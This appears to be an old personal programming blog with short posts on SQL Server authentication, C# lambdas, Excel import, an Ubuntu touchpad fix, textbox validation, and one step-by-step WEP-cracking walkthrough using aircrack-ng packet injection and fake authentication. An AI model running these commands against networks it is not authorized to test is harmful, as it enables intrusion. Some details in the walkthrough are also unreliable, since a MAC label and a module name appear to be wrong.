Wednesday, February 24, 2010

Saturday, January 16, 2010

Configure SQL Server Authentication

In order to use SQL Server authentication you must first configure your server by login with windows authentication.

Right-click on the server node and select 'Properties'.


On the new window select 'Security' from the left menu, select the 'SQL Server and Windows Authentication mode option, click 'OK' to close the dialog.

In the server node expand 'Security' and 'Logins', right click on the login name and select 'Properties'.Under the new window enter a password and confirm the password. Select 'Status' from the left menu, set the 'Login' option to 'Enabled' and click 'OK' to close the dialog.
Now right click on the server node and choose 'Restart' for the changes to take affect and connect with SQL Server Authentication, user 'sa' and you new password.

If you can't connect, you may need restart the service.

Go to Start => All Programs => Micrsoft SQL Server 2005 => Configuration Tools => SQL Server Configuration Manager.

From the left menu, select 'SQL Server 2005 Services', in the right menu right click on 'SQL Server(SQLEXPRESS) and restart it.

Monday, January 11, 2010

Use lambda

Lambda expressions use the lambda operator =>, which is read as "goes to".
(input parameters) => expression
The => operator has the same precedence as assignment (=) and is right-associative.

Example
 int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
int oddNumbers = numbers.Count(n => n % 2 == 1);

Lamda Expressions are a simpler syntax for anonymous delegates and can be used everywhere an anonymous delegate can be used. However, the opposite is not true;
lambda expressions can be converted to expression trees which allows
for a lot of the magic that LINQ to SQL.

The following is an example using anonymous delegates then lambda expressions.

==Delegate==

delegate(int x)
{
return (x % 2) == 0;
}
==Lambda==
(x => (x % 2) == 0)


Wednesday, December 16, 2009

Upload Excel File to DatagridView

***Add the namspace ==> using System.Data.OleDb;***

private void button1_Click(object sender, EventArgs e)
{
OleDbConnection Connection;
// The file path's goes with double slash
Connection = new OleDbConnection
(
"provider=Microsoft.Jet.OLEDB.4.0;data source=C:\\test.xls;Extended Properties=\"Excel 8.0;HDR=NO;IMEX=1;\""
);
Connection.Open();
// Select which page is going to upload
OleDbDataAdapter Adapter = new OleDbDataAdapter("SELECT * FROM [Sheet1$]", Connection);
DataTable table = new DataTable();
// Fill
Adapter.Fill(table);
this.dataGridView1.DataSource = table.DefaultView;
}

Monday, November 23, 2009

Touchpad Doesn't Work in Ubuntu 9.10

I recently upgraded Ubuntu 9.04 to Ubuntu 9.10. After the upgraded my touchpad didn't work, but if a plug in a usb mouse it works raight. So in the web i find this solution.

Open a terminal (if you don’t have a mouse hooked up, use Alt+F2). then “su” and give the root password (I tried doing this with sudo and still didn’t have enough permission. I “think” you need to be root). At the prompt, type:

#echo options psmouse proto=exps > /etc/modprobe.d/psmouse.modprobe

At the next prompt, type”

#reboot

Your touchpad will come back up after rebooting.

Wednesday, November 11, 2009

Crack a WEP with Intel PRO/Wireless 3945ABG

first download driver for Intel PRO/Wireless 3945ABG, i downloaded ipwraw.

Installing ipwraw:
1.- wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2 (download driver)

2.- tar -xjf ipwraw-ng* (extract the archive file)

3.- cd ipwraw-ng (go to the extracted folder)
4.- make (compile)
5.- sudo make install (install the driver)
6.- sudo make install_ucode
7.- echo blacklist ipwraw | sudo tee /etc/modprobe.d/ipwraw (blacklist the default ipwraw)
8.- sudo depmod -ae (create a dependency file for the modules)
9.- sudo modprobe ipwraw (load the driver that you installed)
10.-sudo ifconfig wlan0 up (enable the network adapter)
11.-airmon-ng start wlan0 (put your interface into monitor mode)


If the network interface is set correctly, it should say Monitor mode.
Use the injection test to confirm your card can inject prior to proceeding:
# sudo aireplay-ng -9 mon0

Start airodump-ng to discover all the available networks

# sudo airodump-ng mon0

Start airodump-ng to collect the new unique IVs

# sudo airodump-ng -c 11 --bssid xx:xx:xx:xx:xx:xx -w test -i mon0

Use aireplay-ng to do fake authentication with the access point

# sudo aireplay-ng -1 0 -e datel -a xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0

Start aireplay-ng in ARP request replay mode to inject packets

# sudo aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0

Run aircrack-ng to crack the WEP key using the IVs collected


# sudo aircrack-ng -z -b xx:xx:xx:xx:xx:xx test*.ivs
# sudo aircrack-ng -a 1 -0 -n 128 test*.ivs


xx:xx:xx:xx:xx:xx (
MAC address of client)
yy:yy:yy:yy:yy:yy (our Mac address)



Monday, November 2, 2009

Just Allow Numbers in a Textbox

private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
{

if (!char.IsNumber(e.KeyChar) & (Keys)e.KeyChar != Keys.Back & e.KeyChar != '.')
{
e.Handled = true;
}

}

Other basic example using TryParse

private void btn_Click(object sender, EventArgs e)
{

string nombre = textBox1.Text;
int Aux;

if (!int.TryParse(nombre, out Aux))
MessageBox.Show("just numbers");
}